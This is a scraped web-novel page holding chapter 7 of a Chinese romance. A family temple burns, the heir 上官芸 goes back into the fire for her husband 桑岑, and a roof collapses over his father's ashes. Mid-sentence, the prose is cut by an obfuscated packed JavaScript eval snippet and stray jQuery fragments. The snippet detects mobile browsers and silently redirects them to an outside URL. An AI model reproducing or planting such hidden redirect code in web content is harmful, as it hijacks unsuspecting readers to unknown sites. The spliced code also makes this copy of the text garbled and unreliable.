默认冷灰
24号文字
方正启体

7. 坍塌

作者:纤墨弄影本书字数:K更新时间:
    家庙火势迅猛,眨眼便已烧了大片地方,一排排厢房冒着浓烟,根本辨不清哪间厢房里有人。


    随行的护卫冲着易月心拱手,却是直指其中一个地方。


    “坊主,方才收到的消息,人在供奉牌位的地方。”


    易月心帕子捂着鼻子,看着熊熊大火,摇头,“好大的火势,真是心狠手辣。”


    易月心眸子被火光照的极亮,没移开眼神,问护卫,“人还活着吗?怎么不跑出来?”


    “不知道,屋门是虚掩着的,但人眼下无虞,就是没见出来。”


    护卫回道。


    “哦?”


    易月心轻挑了下眉,“火没烧到那儿?”


    护卫又回,“火势先从柴房开始,然后厢房又烧起来,如今供奉牌位的地方已经被火包围,浓烟呛人,没人能呆得住。”


    易月心点了下头,“救火的那些丫鬟奴侍知道人在那儿吗?”


    护卫肯定,“全不知情。”


    易月心嗯了一声,“去报信的丫鬟走了多久?”


    “有一阵儿了。”


    护卫一板一眼的答,问,“坊主,咱们要插手吗?”


    易月心沉吟了会儿,摆手,“再等等。”


    护卫依言站直身,候在易月心身侧,跟着一同看火势蔓延。


    山风呼呼吹响满山的绿叶,弯弯的月牙俯瞰大地山川,几路人马正在上山往家庙赶。


    叶宿白匕首划过一个贼人的脖子,血线洒出,溅了几滴在侧脸。


    “鸾玉姐姐,泉水已经引下来了,你快上山,这里有我!”


    上官芸动手将一个贼人脑袋往树身上狠砸几下,回身,身后横七竖八躺着四五具贼人尸体,马儿在一侧喷响鼻,上官芸几步并作一步翻身上马,动作行云流水,拉紧马缰绳,最后看眼叶宿白。


    “今日幸好有你,宿白,上官芸来日再谢!”


    说着,一扬马鞭,马蹄扬起,“驾!”


    上官芸身影随着马蹄声一瞬消失在树林中。


    叶宿白余光收回,眼神对上三个面露喜色,凶悍更甚的贼人,扯起抹笑。


    “来呀!”


    话音未落,三个贼人一拥而上。


    叶宿白神情毫不畏惧,径直迎上。


    厮杀声又起,上官芸驱马,回头望了眼,又连挥几鞭,将所有声音抛在脑后,直往家庙赶。


    “坊主,你看!”


    护卫率先听见马蹄声,手指向一个越来越近的一个小点,“有人来了!”


    易月心侧身,眯了眼,“上官芸?”


    远处的小点逐渐变大,女子的脸在月光下依稀可见,满身狼狈,神情似带焦灼。


    易月心握紧手,转身大踏步往冒着熊熊火势的家庙里走。


    “坊主?”


    护卫紧跟。


    易月心丢去一眼,“供奉牌位的地方在哪儿,还不快带路!”


    护卫当即加快几步,指引,“往这儿走,这里未设水缸,救火的丫鬟奴侍都不在这儿。”


    易月心向护卫手指的方向看去,几乎跑起来。


    “去准备一桶凉水,快!”


    “是!”


    护卫转步飞一般的奔向有水的地方。


    等到水提来,易月心帕子捂着鼻子,展开手,闷声,“从我头上倒,别愣着,快动手!”


    护卫不再迟疑,拎高水桶,在易月心头顶,一头浇下。


    水湿过易月心的发,顺着脖颈,沾湿衣裳,直至浸透里衣。


    易月心手捏了捏领口,点点头,抹了把湿透的脸,冲护卫吩咐,“在暗处候着,有什么不对再出来。”


    “是!”


    护卫依言退去,找了处便于观察的地方,藏起身形。


    易月心捂着口鼻,深呼口气,一头冲进火里。


    等上官芸赶到时,听雪满脸灰,将水桶一丢,着急忙慌的迎上来。


    “大小姐,厢房还没搜完,奴婢没找到正君在哪儿!”


    上官芸将马鞭一丢,翻身下马,疾步往里走,经过水桶时,一下将水桶提起,径直往头上倒。


    “伺候的奴侍呢!知书呢!正君住在哪个厢房!”


    上官芸一把丢开水桶,大步往已经彻底陷入火海的厢房那赶。


    听雪在后头追着,迎着浓烟,泪水直流,呛咳着喊着答,“不知道,伺候的奴侍晕死过去,才被救出来,还未醒,知书醒了,急的直哭,还想往厢房钻,奴婢叫人拦住他,向他指的地方去找了,没找着!大小姐,你小心!火太大了!也许正君已经出来了!让奴婢去找!大小姐!别往里走了!咳咳咳咳咳咳!”


    听雪被浓烟呛的弯了腰,咳的喉咙都像被刀片划拉过似的疼,泪水止不住的流个不停,根本看不清上官芸的身影往哪儿去了。


    而供奉牌位的地方外围浓烟更甚,易月心几次冲进去,都被逼出来,直到衣裳半干,被火燎烫了一片肌肤,不得不停在外头,招了护卫出来再去打水。


    如此反复四五次,浑身狼狈至极不说,话都有些说不出来了,几次都是手势示意护卫去打水,到最后,都无需吩咐,护卫就已经打好三四桶水在外头等着。


    好在温泉庄子的水成功被引下来,火势才停下了蔓延的趋势。


    这动静太大,不仅官兵招来了,主宅也得了消息。


    上官祯在护卫的伺候下,坐上马,领着几十个扈从赶向家庙。


    柳之夏坐上马车,看着妻主走远,着急吩咐点人手的今觉赶快动身启程。


    “绝不能让我儿为了桑岑涉险!”


    柳之夏满脸焦急,马车启动后,一而再,再而三的催促护卫加快速度,眼皮不停的跳,时间越长,心不安的感觉越强烈,抓着今觉的手直抖。


    “早知道就不让桑岑去家庙了,早知道这样,我说什么也得盯紧鸾玉,眼下可怎么办才好,可怎么办才好……鸾玉,鸾玉,我的鸾玉,你可万万不能有事啊,爹爹可就你一块心头肉,你可不能让爹爹白发人送黑发人啊,鸾玉……”


    柳之夏急的眼泪都滴了下来。


    今觉在一旁直安慰,眼睛也跟着红了。


    “主君没错,都是奴侍的错,奴侍不该出这个馊主意,是奴侍糊涂,都是奴侍不好,主君,别担心,大小姐一定会没事的,家庙的那些丫鬟还有奴侍,还有大小姐身边的听雪,听雨一定会拦着大小姐,不叫大小姐冲进火里的,主君,大小姐一向温和仁厚,老天是不可能薄待大小姐,叫大小姐遇险的,主君,咱们一会儿就到家庙了,主君一定能立刻见到好端端的大小姐,主君别急,别急……”


    柳之夏握紧今觉的手,“真的吗?鸾玉真的不会有事?”


    “真的,真的!”


    今觉赶忙点头,连声肯定。


    柳之夏才收了泪,渐渐镇定下来。


    “一会儿,务必要拦住鸾玉,说什么也不能让她进火里去找桑岑,哪怕是用骗的,哪怕动武,都不能任由鸾玉进去涉险,你记清楚了吗?”


    “是,是,奴侍记清楚了,奴侍一定会让人照办,主君放心。”


    今觉连忙点头,一声声应着。


    马车就这样紧赶慢赶,赶到了家庙,才停住,柳之夏就起身,在今觉的搀扶下走下马车,和正与人说话的上官祯会了面。


    柳之夏忙几步走过去,俆彗停了话,冲着柳之夏行礼,“伯父。”


    柳之夏只看着自家妻主,连声问,“鸾玉在哪里?妻主,鸾玉她有没有事?”


    上官祯面色很难看,微微摇头。


    柳之夏腿一软,险些晕死过去,今觉连忙将人扶稳。


    俆彗在旁出声,“伯父,小心身子,眼下已经有许多护卫进去寻了,鸾玉未必就是出事了,您先不要慌。”


    今觉闻言,抚着自家主君的胸口,跟着劝慰,“是呀,主君,您得稳住啊,大小姐眼下生死还未有定论,主君您可不能自乱阵脚,自己就先倒下了啊,主君!”


    “对,我得稳住,我不能先自己乱了,鸾玉还不知道怎么样呢,我得等她好好的出来,我得等鸾玉出来。”


    柳之夏握住今觉的手,慢慢站稳身子,吸气呼气,终于神思清明些许。


    一众丫鬟忙乱的救火,场面嘈杂。


    俆彗收回目光,看向火海,眸带忧色。


    上官祯看着火势,背着的手紧紧握着,手骨爆开.青.筋。


    柳之夏捏着帕子,不停抹泪,眺目望着,口里失神的念着平安经。


    焦灼的等待中,总算有护卫冲出来报信。


    “大小姐出来了,还抱着个人!”


    柳之夏喜色霎时漫上,在今觉的搀扶下,几步过去。


    “大小姐人呢?可安好?可有哪里伤着,碰着?”


    护卫正想答,不妨家主在一旁发问。


    “救出来的是谁?”


    护卫当即拱手,向家主禀报,“奴婢听奴侍喊的是表公子。”


    “如此……”


    上官祯深吸了口气,“她们人在哪里?怎么还不见出来?”


    护卫拱手,“大小姐要回去找正君,表公子醒转,直哭着捂着肚子说疼,还说有人要害他,除了大小姐,谁也不让靠近,大小姐她……”


    这时,只听今觉一声呼,“主君,大小姐,是大小姐!”


    在场所有人顿时齐齐看向那处,只见上官芸大步抱着蜷缩颤抖的表公子,疾步走近。


    大伙打眼一瞧,两人皆是一身狼狈,表公子两眼垂泪,灰黑的脸上清晰的两道白色泪痕挂着,手抓着衣襟,嘴唇颤着,一手还捂着肚子,瑟缩着倚靠在大小姐怀里。


    候在不远被几个奴侍拦着,不让进,眼睛已经哭的红月中,急的几近绝望的知书见到此情,一下冲上来,拳头捏的极紧,红眼直瞪向上官芸,不敢置信的哭嚷,“大小姐,您只救表公子,那我家正君呢!您怎能丢下我家正君!正君才是您的夫郎!他才是您的枕边人啊!您怎么能!怎么可以!”


    被撞开的奴侍惊了一跳,齐齐上来拦着已经有些疯魔的知书,不让他靠近。


    湖青更是张开双臂,挡在知书前头,扬起下巴,满目鄙夷的睨着他。


    上官芸无视这场纷扰,几步越过这些人。


    柳之夏眼里只有自己女儿,连忙迎上去,上下打量上官芸,看着上官芸将柳叶臻放下,又想掀开衣裳袖子,看看有没有哪里受伤,却被上官芸止住。


    “爹爹,我没事,我得回去找桑岑。”


    上官芸的形容从未有过的邋遢,声音更是从未有过的沙哑,金尊玉贵,锦衣玉食许多年,柳之夏第一次看到女儿这幅样子,已经心疼的厉害,哪肯放手让人回头去找什么桑岑,当时就拉紧了女儿的手。


    “说什么胡话,你是上官家的大小姐,千金之躯,怎能涉险!何况


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464131|169785||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,何况桑岑已经救出来了,爹爹已经吩咐人送他下山,去瞧大夫了,鸾玉,你难道不信爹爹的话吗?”


    上官芸垂下眸,唇紧紧抿起,沉默的瞬息,手去拂柳之夏的手,抬起眸。


    “爹爹,儿不是三岁小儿,爹爹忧心儿,儿明白,可桑岑是儿的夫郎,儿不能丢下他不管,爹爹,请恕儿不孝,儿除了自己,不放心将桑岑交给任何人,也无法做到候在外头,干看着别人去救,所以,爹爹,儿必须得回去,请爹爹放手,放儿去救自己的夫郎,请爹爹……成全。”


    上官芸直直跪了下去,凌乱的发丝被风拂向身后,眼睛里是不容置疑的坚决,直直仰头望着柳之夏。


    柳之夏倒退了一步,心尖都在发颤,红了眼眶。


    “桑岑就那么重要,连我都拦不住你吗?鸾玉!你是我的女儿!我身上的肉!你不向着我,向着桑岑!”


    上官芸眼眸垂了下去,俯下身,磕头,“儿不孝。”


    柳之夏扬起手,一巴掌打在上官芸脸上,眼睛里泪珠滚落下来。


    “滚!要是不活着出来,我后脚就跟去,我看你忍不忍心要了你爹爹的一条命去!”


    柳之夏回身,靠在上官祯的肩上痛哭起来。


    上官祯拍了拍自家夫郎的背,看着上官芸,开口。


    “上官家不止你一个女儿,你明白吗?”


    上官芸揖手,仰头看着上官祯,对视着母亲的眼睛,不避不躲,“儿明白。”


    上官祯眼神漠然,没有丝毫忧色,甚至毫无波澜。


    “明白就好。”


    上官芸俯身磕头,然后径直站起,眼睛对上了好友蹙着眉,忧心中带着难以理解与不赞同的眼神,目光划过,转身往回走。


    “鸾玉!”


    俆彗却在这时出声。


    上官芸止步,然并没有回头。


    俆彗衣袖下手握成拳,最后叹息一声,“好好保重自己,一切小心。”


    上官芸轻点了下头,重新抬步,大步离去。


    供奉牌位的地方,外围浓烟滚滚,护卫将水桶放下,看着自家坊主,欲言又止。


    易月心嫌弃的看着满身被灰染上的脏污湿哒哒的黏在身上,不耐烦的抹把脸。


    “什么事支支吾吾的,说!”


    护卫低了头,“坊主,上官芸已经搜完厢房,带人往这儿来了。”


    易月心眉心皱的死紧,“怎么这么快。”


    护卫埋头在胸前,不答话。


    易月心深吸口气,看向浓烟滚滚之处,摆手,“你待远些,别碍事。”


    护卫当即退去。


    易月心这次狠狠闭了下眼,湿帕捂紧口鼻,蒙头就冲了进去。


    屋子里,牌位前,门窗紧闭,依旧有浓烟漫进来。


    桑岑再次打湿了帕子,系在脸上,俯身扒拉着地上散开的骨灰,一点点往瓷罐子里装。


    他不知道时辰已经过去多久,外头大火又烧到了什么境况,只知道再过一会儿,他就可以将爹爹的这半身骨灰都收拾进瓷罐子里,哪怕大火烧塌这里,他爹爹的骨灰也不会散落在各处,不得安宁。


    桑岑额上的汗一滴滴的滴落下来,火焰的炙烤已经让他头晕目眩,浓烟熏的他几乎睁不开眼,他摸索着,依旧为这一点感到开心。


    “爹爹,儿不会让您没有家的,爹爹不会成为孤魂野鬼,就算儿出不去,没法安葬您,儿也会陪着您,爹爹。”


    易月心撞开门的时候,看到的就是这一幕,她冲进来,一把拉住了桑岑的手。


    “桑公子,你爹爹在天有灵,一定不想看你死在这儿,快随先生走!”


    桑岑看不清来人,被迫被拉起身子,听着声音,恍惚唤出声,“你是……易先生?”


    而后,桑岑挣扎手腕,摇头,被熏的眼睛眼泪落下来。


    “不能,我做不到,易先生,还有一点点,还有一点点,我就可以……”


    易月心呛咳着,拧紧眉,“骨灰只是死物,桑公子,你要是出事,才是真的让您爹爹九泉下不得安宁。”


    易月心着急带人走,绝不可能继续拖延,桑岑正蹲下去,拿起瓷罐子,手摸向地面,被猛然一扯之下,瓷罐子脱手,骨灰大片撒开,瓷罐子骨碌碌的滚了开去,不知滚到了哪里。


    桑岑想要去寻,挣扎的更剧烈,不断向易月心哭求。


    “易先生,求求你,帮我找到那个瓷罐子,那里有我爹爹的骨灰,我还要用它装我爹爹的骨灰,易先生……求求你,我不能看着……”


    易月心却不由分说的将人往外带。


    上官芸冲进来时,只瞧见桑岑哭的厉害,喊着什么骨灰,此时头上的房梁已经摇摇欲坠,上官芸霎那间止住想要去拉桑岑的念头,看着桑岑被人带着从另一处安全离开,她捂着口鼻,弯下了身子,这才看清地上疑似骨灰的东西,看着大片痕迹,上官芸很快找到了那个瓷罐子,将它拿起来。


    火焰烧穿了窗户,屋门,熊熊大火里,上官芸蹲了下来,丢开帕子,掏出鞋履侧插着的匕首,撬开了地砖,拿起,仔仔细细的将骨灰拂进瓷罐子,小心翼翼,从未有过的专注。


    在房梁坍塌,屋子倾倒的一刹那,桑岑撕心裂肺的哭喊。


    赶来的众人看见了桑岑被陌生女子拦腰阻拦的那一幕,火光冲天,所有人的目光都静止了。


    俆彗捏紧手,从心底生出了一股愤怒。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)